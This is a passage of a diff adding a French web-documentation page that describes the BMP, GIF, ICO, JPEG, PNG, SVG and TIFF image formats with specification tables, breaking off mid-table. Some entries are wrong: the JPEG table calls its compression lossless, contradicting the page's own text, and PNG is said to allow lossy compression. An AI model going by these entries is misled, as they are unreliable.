+<p>Le type de fichier BMP <strong>(image Bitmap)</strong> est le plus répandu sur les ordinateurs Windows, et n'est généralement utilisé que dans des cas particuliers pour les applications et contenus web.</p>
+
+<div class="blockIndicator warning">
+<p><strong>Note:</strong> Vous devriez généralement éviter d'utiliser le BMP pour le contenu des sites web, car ce n'est pas une utilisation généralement acceptée du format.</p>
+</div>
+
+<p>BMP soutient théoriquement une variété de représentations de données internes. La forme la plus simple, et la plus couramment utilisée, de fichier BMP est une image tramée non compressée, chaque pixel occupant 3 octets représentant ses composantes rouge, verte et bleue, et chaque ligne étant rembourrée avec des <code>0x00</code> octets à un multiple de 4 octets de large.</p>
+
+<p>Bien que d'autres représentations de données soient définies dans la spécification, elles ne sont pas largement utilisées et sont souvent complètement inappliquées. Ces caractéristiques comprennent : la prise en charge de différentes profondeurs de bits, la couleur indexée, les canaux alpha et différents ordres de pixels (par défaut, BMP est écrit du coin inférieur gauche vers la droite et le haut, plutôt que du coin supérieur gauche vers la droite et le bas).</p>
+
+<p>Théoriquement, plusieurs algorithmes de compression sont pris en charge, et les données d'image peuvent également être stockées au format {{anch("JPEG")}} ou {{anch("PNG")}} dans le fichier BMP.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/bmp</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extension(s) de fichier(s)</th>
+   <td><code>.bmp</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td>Aucune spécification ; toutefois, Microsoft fournit une documentation générale sur le format à l'adresse <a href="https://docs.microsoft.com/en-us/windows/desktop/gdi/bitmap-storage">docs.microsoft.com/en-us/windows/desktop/gdi/bitmap-storage</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>Toutes versions de Chrome, Edge, Firefox, Internet Explorer, Opera, et Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">Dimentions maximum</th>
+   <td>Soit 32,767×32,767 ou 2,147,483,647×2,147,483,647 pixels, selon la version du format</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur supportés</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Niveau de gris</th>
+       <td>1</td>
+       <td>Chaque bit représente un seul pixel, qui peut être noir ou blanc.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par trois valeurs représentant les composantes de couleur rouge, verte et bleue ; chacune d'entre elles est constituée de <em>D</em> bits.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td>2, 4, et 8</td>
+       <td>Chaque pixel est représenté par une valeur de 2, 4 ou 8 bits, qui sert d'index dans la table des couleurs.</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris avec alpha</th>
+       <td><em>n/a</em></td>
+       <td>Le BMP n'a pas de format d'échelle de gris distinct.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par quatre valeurs représentant les composantes de couleur rouge, verte, bleue et alpha ; chacune d'entre elles est constituée de <em>D</em> bits.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Plusieurs méthodes de compression sont prises en charge, notamment les algorithmes avec ou sans perte</td>
+  </tr>
+  <tr>
+   <th scope="row">License</th>
+   <td>Couvert par la promesse de spécification ouverte de Microsoft ; bien que Microsoft détienne des brevets contre la BMP, elle a publié une promesse de ne pas faire valoir ses droits de brevet tant que des conditions spécifiques sont remplies. Il ne s'agit toutefois pas d'une licence. BMP est inclus dans le format Windows Metafile (<code>.wmf</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="GIF_Graphics_Interchange_Format"><a id="GIF" name="GIF">GIF</a> (Graphics Interchange Format)</h3>
+
+<p>En 1987, le fournisseur de services en ligne CompuServe a introduit le <strong>{{interwiki("wikipedia", "GIF")}}</strong> (<strong>Graphics Interchange Format</strong>) pour fournir un format graphique compressé que tous les membres de leur service pourront utiliser. Le GIF utilise le {{interwiki("wikipedia", "Lempel-Ziv-Welch")}} (LZW) pour compresser sans perte des images couleur indexés sur 8 bits. Le GIF était l'un des deux premiers formats graphiques pris en charge par {{Glossary("HTML")}}, ainsi que {{anch("XBM")}}.</p>
+
+<p>Chaque pixel d'un GIF est représenté par une seule valeur de 8 bits servant d'index dans une palette de couleurs de 24 bits (8 bits pour le rouge, le vert et le bleu). La longueur d'une table de couleurs est toujours une puissance de 2 (c'est-à-dire que chaque palette a 2, 4, 8, 16, 32, 64 ou 256 entrées). Pour simuler plus de 255 ou 256 couleurs, on utilise généralement la {{interwiki("wikipedia", "dithering", "diffusion d'erreur")}}. Il est <a href="https://gif.ski/">techniquement possible</a>  de superposer plusieurs blocs d'images, chacun avec sa propre palette de couleurs, pour créer des images en couleurs réelles, mais en pratique, cela est rarement fait.</p>
+
+<p>Les pixels sont opaques, sauf si un indice de couleur spécifique est désigné comme transparent, auquel cas les pixels colorés à cette valeur sont entièrement transparents.</p>
+
+<p>Le GIF permet une animation simple, dans laquelle, après une première image de taille réelle, une série d'images reflétant les parties de l'image qui changent avec chaque image est fournie.</p>
+
+<p>Le GIF est extrêmement populaire depuis des décennies, en raison de sa simplicité et de sa compatibilité. Son support d'animation a provoqué un regain de popularité à l'ère des médias sociaux, lorsque les GIF animés ont commencé à être largement utilisés pour de courtes "vidéos", des mèmes et d'autres séquences d'animation simples.</p>
+
+<p>Une autre caractéristique populaire du GIF est la prise en charge de l'{{interwiki("wikipedia", "Interlacing_(bitmaps)", "entrelacement")}}, où les rangées de pixels sont stockées dans le désordre afin que les fichiers partiellement reçus puissent être affichés en qualité inférieure. Cela est particulièrement utile lorsque les connexions réseau sont lentes.</p>
+
+<p>Le format GIF est un bon choix pour les images et les animations simples, bien que la conversion d'images couleur en GIF puisse entraîner des diffusions d'erreur insatisfaisantes. En règle générale, le contenu moderne devrait utiliser {{anch("PNG")}} pour les images fixes sans perte et indexées, et devrait envisager d'utiliser {{anch("APNG")}} pour les séquences d'animation sans perte.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/gif</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extention(s) du fichier(s)</th>
+   <td><code>.gif</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td><a href="https://www.w3.org/Graphics/GIF/spec-gif87.txt">Spécification GIF87a</a><br>
+    <a href="https://www.w3.org/Graphics/GIF/spec-gif89a.txt">Spécification GIF89a</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>Toutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera, and Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximum</th>
+   <td>65,536×65,536 pixels</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Mode couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Niveau de gris</th>
+       <td><em>n/a</em></td>
+       <td>Le GIF n'inclut pas un format de niveaux de gris spécifique.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td><em>n/a</em></td>
+       <td>Le GIF ne prend pas en charge les pixels en couleurs réelles.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td>8</td>
+       <td>Chaque couleur d'une palette GIF est définie par 8 bits de rouge, de vert et de bleu (24 bits au total par pixel).</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris avec alpha</th>
+       <td><em>n/a</em></td>
+       <td>Le GIF ne fournit pas de format de niveaux de gris spécifique.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td><em>n/a</em></td>
+       <td>Le GIF ne prend pas en charge les pixels en couleurs réelles.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Sans perte (LZW)</td>
+  </tr>
+  <tr>
+   <th scope="row">Lisence</th>
+   <td>Alors que le format GIF lui-même est ouvert, l'algorithme de compression LZW était couvert par des brevets jusqu'au début des années 2000. Depuis le 7 juillet 2004, tous les brevets pertinents ont expiré et le format GIF peut être utilisé librement.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="ICO_Microsoft_Windows_icon"><a id="ICO" name="ICO">ICO</a> (Microsoft Windows icon)</h3>
+
+<p>Le format de fichier ICO (Microsoft Windows icon) a été conçu par Microsoft pour les icônes de bureau des systèmes Windows. Cependant, les premières versions d'Internet Explorer ont introduit la possibilité pour un site web de fournir un fichier ICO nommé <code>favicon.ico</code> dans le répertoire racine d'un site web pour spécifier un <strong><a href="/fr/docs/Apprendre/HTML/Introduction_%C3%A0_HTML/The_head_metadata_in_HTML#Ajouter_des_ic%C3%B4nes_personnalis%C3%A9es_%C3%A0_un_site">favicon</a></strong> — une icône à afficher dans le menu Favoris, et d'autres endroits où une représentation iconique du site serait utile.</p>
+
+<p>Un fichier ICO peut contenir plusieurs icônes, et commence par un répertoire contenant des détails sur chacune d'entre elles. Ce répertoire est suivi des données relatives aux icônes. Les données de chaque icône peuvent être soit une image {{anch("BMP")}} sans l'en-tête du fichier, soit une image {{anch("PNG")}} complète (y compris l'en-tête du fichier). Si vous utilisez des fichiers ICO, vous devez utiliser le format BMP, car la prise en charge du format PNG dans les fichiers ICO n'a été ajoutée qu'à partir de Windows Vista et pourrait ne pas être bien prise en charge.</p>
+
+<div class="blockIndicator warning">
+<p>Les fichiers ICO ne doivent pas être utilisés dans le contenu Web. En outre, leur utilisation pour les favicons a diminué au profit de l'utilisation d'un fichier PNG et de l'élément {{HTMLElement("link")}}, comme décrit dans {{SectionOnPage("/fr/docs/Apprendre/HTML/Introduction_à_HTML/The_head_metadata_in_HTML", "Ajouter des icônes personnalisées à un site")}} .</p>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/vnd.microsoft.icon</code> (officiel), <code>image/x-icon</code> (utilisé par Microsoft)</td>
+  </tr>
+  <tr>
+   <th scope="row">Extention(s) de fichier(s)</th>
+   <td><code>.ico</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td></td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>Toutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera et Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximum</th>
+   <td>256×256 pixels</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>
+    <table class="standard-table">
+     <caption>Icônes au format BMP</caption>
+     <tbody>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris</th>
+       <td>1</td>
+       <td>Chaque bit représente un seul pixel, qui peut être noir ou blanc.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par trois valeurs représentant les composantes de couleur rouge, verte et bleue ; chacune d'entre elles est constituée de <em>D</em> bits.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td>2, 4, et 8</td>
+       <td>Chaque pixel est représenté par une valeur de 2, 4 ou 8 bits, qui sert d'index dans la table des couleurs.</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris avec alpha</th>
+       <td><em>n/a</em></td>
+       <td>Le BMP n'a pas de format d'échelle de gris distinct.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par quatre valeurs représentant les composantes de couleur rouge, verte, bleue et alpha ; chacune d'entre elles est constituée de <em>D</em> bits.</td>
+      </tr>
+     </tbody>
+    </table>
+
+    <table class="standard-table">
+     <caption>Icônes au format PNG</caption>
+     <tbody>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris</th>
+       <td>1, 2, 4, 8 et 16</td>
+       <td>Chaque pixel est constitué d'une seule valeur <em>D</em>-bit indiquant la luminosité du pixel en niveaux de gris.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par trois valeurs de <em>D</em>-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td>1, 2, 4 et 8</td>
+       <td>Chaque pixel est une valeur de <em>D</em>-bit indiquant un index dans une palette de couleurs qui est contenue dans un morceau de <code><a href="https://www.w3.org/TR/PNG/#11PLTE">PLTE</a></code> dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par deux valeurs <em>D</em>-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est composé de quatre composantes de couleur <em>D</em>-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Les icônes au format BMP utilisent presque toujours une compression sans perte, mais des méthodes avec perte sont disponibles. Les icônes au format PNG sont toujours compressées sans perte.</td>
+  </tr>
+  <tr>
+   <th scope="row">Lisence</th>
+   <td>—</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="JPEG_Joint_Photographic_Experts_Group_image"><a id="JPEG" name="JPEG">JPEG</a> (Joint Photographic Experts Group image)</h3>
+
+<p>Le {{Glossary("JPEG")}} (typiquement prononcé "<strong>j-peg</strong>") est actuellement le format de compression avec perte le plus utilisé pour les images fixes. Il est particulièrement utile pour les photographies ; l'application de la compression avec perte au contenu nécessitant de la netteté, comme les diagrammes ou les graphiques, peut produire des résultats insatisfaisants.</p>
+
+<p>Le JPEG est en fait un format de données pour les photos compressées, plutôt qu'un type de fichier. La spécification JFIF (JPEG <strong>F</strong>ile <strong>I</strong>nterchange <strong>F</strong>ormat) décrit le format des fichiers que nous considérons comme des images "JPEG".</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/jpeg</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extentions(s) de fichier(s)</th>
+   <td><code>.jpg</code>, <code>.jpeg</code>, <code>.jpe</code>, <code>.jif</code>, <code>.jfif</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td><a href="https://jpeg.org/jpeg/">jpeg.org/jpeg/</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>Toutes les versions de Chrome, Edge, Firefox, Internet Explorer, Opera et Safari</td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximum</th>
+   <td>65,535×65,535 pixels</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Niveau de gris</th>
+       <td><em>n/a</em></td>
+       <td>Le JPEG n'a pas de mode d'échelle de gris distinct.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td>8</td>
+       <td>Chaque pixel est décrit par les composantes de couleur rouge, bleue et verte, chacune d'entre elles étant composée de 8 bits.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td><em>n/a</em></td>
+       <td>Le JPEG n'offre pas de mode couleur indexé.</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris avec alpha</th>
+       <td><em>n/a</em></td>
+       <td>Le JPEG ne prend pas en charge un canal alpha.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td><em>n/a</em></td>
+       <td>Le JPEG ne prend pas en charge un canal alpha.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Sans perte; sur la base de la {{interwiki("wikipedia", "transformée en cosinus discrète")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Lisence</th>
+   <td>Depuis le 27 octobre 2006, tous les brevets américains ont expiré.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="PNG_Portable_Network_Graphics"><a id="PNG" name="PNG">PNG</a> (Portable Network Graphics)</h3>
+
+<p>Le {{Glossary('PNG')}} (prononcé "<strong>png</strong>") utilise une compression sans perte ou avec perte afin de fournir une compression plus efficace, et prend en charge des profondeurs de couleurs plus élevées que {{anch("GIF")}}, ainsi qu'une transparence alpha complète.</p>
+
+<p>Le format PNG est largement soutenu, tous les principaux navigateurs offrant une prise en charge complète de ses fonctionnalités. Internet Explorer, qui a introduit le support PNG dans les versions 4-5, ne l'a pas entièrement pris en charge avant IE 9, et a connu de nombreux bogues tristement célèbres pendant de nombreuses années, y compris dans l'Internet Explorer 6, autrefois omniprésent. Cela a ralenti l'adoption de la PNG, mais elle est maintenant couramment utilisée, surtout lorsqu'il faut reproduire avec précision l'image source.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/png</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extension(s) de fichier(s)</th>
+   <td><code>.png</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Spécification</th>
+   <td><a href="https://www.w3.org/TR/PNG">w3.org/TR/PNG</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Comptabilité des navigateurs</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Fonctionnalité</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Support de base</th>
+       <td>1</td>
+       <td>12</td>
+       <td>1</td>
+       <td>5</td>
+       <td>3.5.1 (Presto)<br>
+        15 (Blink)</td>
+       <td>1</td>
+      </tr>
+      <tr>
+       <th scope="row">Canal Alpha</th>
+       <td>1</td>
+       <td>12</td>
+       <td>1</td>
+       <td>5</td>
+       <td>6 (Presto)<br>
+        Toute (Blink)</td>
+       <td>1</td>
+      </tr>
+      <tr>
+       <th scope="row">Correction gamma</th>
+       <td>non</td>
+       <td>oui</td>
+       <td>1</td>
+       <td>8</td>
+       <td>1</td>
+       <td>cassé</td>
+      </tr>
+      <tr>
+       <th scope="row">Correction des couleurs</th>
+       <td>non</td>
+       <td>oui</td>
+       <td>3</td>
+       <td>9</td>
+       <td>non</td>
+       <td>non</td>
+      </tr>
+      <tr>
+       <th scope="row">Entrelacement</th>
+       <td>non</td>
+       <td>?</td>
+       <td>1</td>
+       <td>cassé</td>
+       <td>3.5.1</td>
+       <td>non</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximum</th>
+   <td>2,147,483,647×2,147,483,647 pixels</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Mode de couleur</th>
+       <th scope="col">Bits par composante (<em>D</em>)</th>
+       <th scope="col">Description</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Niveau de gris</th>
+       <td>1, 2, 4, 8 et 16</td>
+       <td>Chaque pixel est constitué d'une seule valeur <em>D</em>-bit indiquant la luminosité du pixel en niveaux de gris.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par trois valeurs de <em>D</em>-bit indiquant le niveau des composantes de couleur rouge, verte et bleue.</td>
+      </tr>
+      <tr>
+       <th scope="row">Couleur indexée</th>
+       <td>1, 2, 4 et 8</td>
+       <td>Chaque pixel est une valeur de bit <em>D</em> indiquant un index dans une palette de couleurs qui est contenue dans un morceau de <code><a href="https://www.w3.org/TR/PNG/#11PLTE">PLTE</a></code> dans le fichier APNG ; les couleurs de la palette utilisent toutes une profondeur de 8 bits.</td>
+      </tr>
+      <tr>
+       <th scope="row">Niveau de gris avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est représenté par deux valeurs <em>D</em>-bit : l'intensité du pixel en niveaux de gris et un échantillon alpha, indiquant le degré d'opacification du pixel.</td>
+      </tr>
+      <tr>
+       <th scope="row">Vraie couleur avec alpha</th>
+       <td>8 et 16</td>
+       <td>Chaque pixel est composé de quatre composantes de couleur <em>D</em>-pixel : rouge, vert, bleu, et l'échantillon alpha indiquant le degré d'opacité du pixel.</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>Couleur sans perte, éventuellement indexée comme le GIF</td>
+  </tr>
+  <tr>
+   <th scope="row">Lisence</th>
+   <td>©2003 <a href="https://www.w3.org/">W3C</a><sup>®</sup> (<a href="http://www.lcs.mit.edu/">MIT</a>, <a href="http://www.ercim.org/">ERCIM</a>, <a href="http://www.keio.ac.jp/">Keio</a>), Tous Droits Réservés. Les règles du W3C en matière de <a href="http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer">responsabilité</a>, de <a href="http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks">marque commerciale</a>, d'<a href="http://www.w3.org/Consortium/Legal/copyright-documents">utilisation des documents</a> et de <a href="http://www.w3.org/Consortium/Legal/copyright-software">licences de logiciels</a> s'appliquent. Pas de brevets porteurs de royalties connus.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="SVG_Scalable_Vector_Graphics"><a id="SVG" name="SVG">SVG</a> (Scalable Vector Graphics)</h3>
+
+<p>Le SVG est une base <a href="/fr/docs/Glossaire/XML">XML</a> pour le format d'{{interwiki("wikipedia", "image vectorielle")}} qui spécifie le contenu d'une image comme un ensemble de commandes de dessin qui créent des formes, des lignes, appliquent des couleurs, des filtres, etc. Les fichiers SVG sont idéaux pour les diagrammes, les icônes et autres images qui peuvent être dessinés avec précision à n'importe quelle taille. En tant que tel, le SVG est populaire pour les éléments d'interface utilisateur dans la conception moderne du Web.</p>
+
+<p>Les fichiers SVG sont des fichiers texte contenant le code source qui, une fois interprété, dessine l'image souhaitée. Par exemple, cet exemple définit une zone de dessin de taille initiale de 100 par 100 unités, contenant une ligne tracée en diagonale à travers la boîte :</p>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;line x1="0" y1="80" x2="100" y2="20" stroke="black" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>Le SVG peut être utilisé dans le contenu du web de deux façons :</p>
+
+<ol>
+ <li>Vous pouvez directement écrire l'élément {{HTMLElement("svg")}} dans le HTML, contenant des <a href="/fr/docs/Web/SVG/Element">éléments SVG</a> pour dessiner l'image.</li>
+ <li>Vous pouvez afficher une image SVG partout où vous pouvez utiliser les autres types d'images, y compris avec les éléments {{HTMLElement("img")}} et {{HTMLElement("image")}}, les propriété {{cssxref("background-image")}} du CSS, etc.</li>
+</ol>
+
+<p>Le SVG est un choix idéal pour les images qui peuvent être représentées à l'aide d'une série de commandes de dessin, en particulier si la taille à laquelle l'image sera rendue est inconnue ou peut varier, puisque le SVG s'adaptera en douceur à la taille souhaitée. Il n'est généralement pas utile pour les images strictement bitmap ou photographiques, bien qu'il soit possible d'inclure des images bitmap dans un SVG.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Type de MIME</th>
+   <td><code>image/svg+xml</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Extension(s) de fichier(s)</th>
+   <td><code>.svg</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Specification</th>
+   <td><a href="https://www.w3.org/TR/SVG2">w3.org/TR/SVG2</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Compatibilité des navigateurs</th>
+   <td>
+    <table class="standard-table">
+     <thead>
+      <tr>
+       <th scope="row">Fonctionnalité</th>
+       <th scope="col">Chrome</th>
+       <th scope="col">Edge</th>
+       <th scope="col">Firefox</th>
+       <th scope="col">Internet Explorer</th>
+       <th scope="col">Opera</th>
+       <th scope="col">Safari</th>
+      </tr>
+     </thead>
+     <tbody>
+      <tr>
+       <th scope="row">Le support du SVG</th>
+       <td>4</td>
+       <td>12</td>
+       <td>3</td>
+       <td>9</td>
+       <td>10 (Presto)<br>
+        15 (Blink)</td>
+       <td>3.2</td>
+      </tr>
+      <tr>
+       <th scope="row">SVG comme image ({{HTMLElement("img")}} etc)</th>
+       <td>28</td>
+       <td>12</td>
+       <td>4</td>
+       <td>9</td>
+       <td>10 (Presto)<br>
+        15 (Blink)</td>
+       <td>9</td>
+      </tr>
+     </tbody>
+    </table>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Dimensions maximales</th>
+   <td>Illimité</td>
+  </tr>
+  <tr>
+   <th scope="row">Modes de couleur pris en charge</th>
+   <td>Les couleurs en SVG sont spécifiées à l'aide de <a href="/fr/docs/Web/CSS/Type_color">syntaxe de couleur CSS</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Compression</th>
+   <td>La source SVG peut être compressée pendant le transit en utilisant les techniques de <a href="/fr/docs/Web/HTTP/Compression">compression HTTP</a>, ou sur disque en tant que fichier <code>.svgz</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Lisence</th>
+   <td>©2018 <a href="https://www.w3.org/">W3C</a><sup>®</sup> (<a href="http://www.lcs.mit.edu/">MIT</a>, <a href="http://www.ercim.org/">ERCIM</a>, <a href="http://www.keio.ac.jp/">Keio</a>, <a href="http://ev.buaa.edu.cn/">Beihang</a>), Tous Droits Réservés. Les règles du W3C en matière de <a href="http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer">responsabilité</a>, de <a href="http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks">marque commerciale</a>, d'<a href="http://www.w3.org/Consortium/Legal/copyright-documents">utilisation des documents</a> et de <a href="http://www.w3.org/Consortium/Legal/copyright-software">licences de logiciels</a> s'appliquent. Pas de brevets porteurs de royalties connus.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="TIFF_Tagged_Image_File_Format"><a id="TIFF" name="TIFF">TIFF</a> (Tagged Image File Format)</h3>
+
+<p>{{interwiki("wikipedia", "TIFF")}} est un format de fichier graphique matriciel qui a été créé pour stocker des photos scannées, bien qu'il puisse s'agir de n'importe quel type d'image. Il s'agit d'un format quelque peu "lourd", dans la mesure où les fichiers TIFF ont tendance à être plus volumineux que les images d'autres formats. Cela s'explique par les métadonnées souvent incluses, ainsi que par le fait que la grande majorité des fichiers TIFF ne sont pas compressés. Cependant, les méthodes de compression avec et sans perte sont toutes deux prises en charge par la spécification TIFF.</p>
+
+<p>Chaque valeur d'un fichier TIFF est spécifiée à l'aide de sa <strong>balise</strong> (indiquant le type d'information dont il s'agit, comme la largeur de l'image) et de son <strong>type</strong> (indiquant le format dans lequel les données sont stockées), suivis de la longueur du tableau de valeurs à attribuer à cette balise (toutes les propriétés sont stockées dans des tableaux, même pour des valeurs uniques). Cela permet d'utiliser différents types de données pour les mêmes propriétés. Par exemple, la largeur d'une image, <code>ImageWidth</code>, est stockée à l'aide de la balise <code>0x0100</code> et est un tableau à une entrée. En précisant le type 3 (<code>SHORT</code>), la valeur de <code>ImageWidth</code> est stockée comme une valeur de 16 bits :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Type</th>
+   <th scope="col">Taille</th>
+   <th scope="col">Valeur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>0x0100</code><br>
+    (<code>ImageWidth</code>)</td>
+   <td><code>0x0003</code><br>
+    (<code>SHORT</code>)</td>
+   <td><code>0x00000001</code><br>
+    (1 entée)</td>
+   <td><code>0x0280</code><br>
+    (640 pixels)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La spécification du type 4 (<code>LONG</code>) enregistre la largeur comme une valeur de 32 bits :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Balise</th>
+   <th scope="col">Type</th>
+   <th scope="col">Taille</th>
+   <th scope="col">Valeur</th>
+  </tr>
+  <tr>
+   <td><code>0x0100</code><br>
+    (<code>ImageWidth</code>)</td>
+   <td><code>0x0004</code><br>
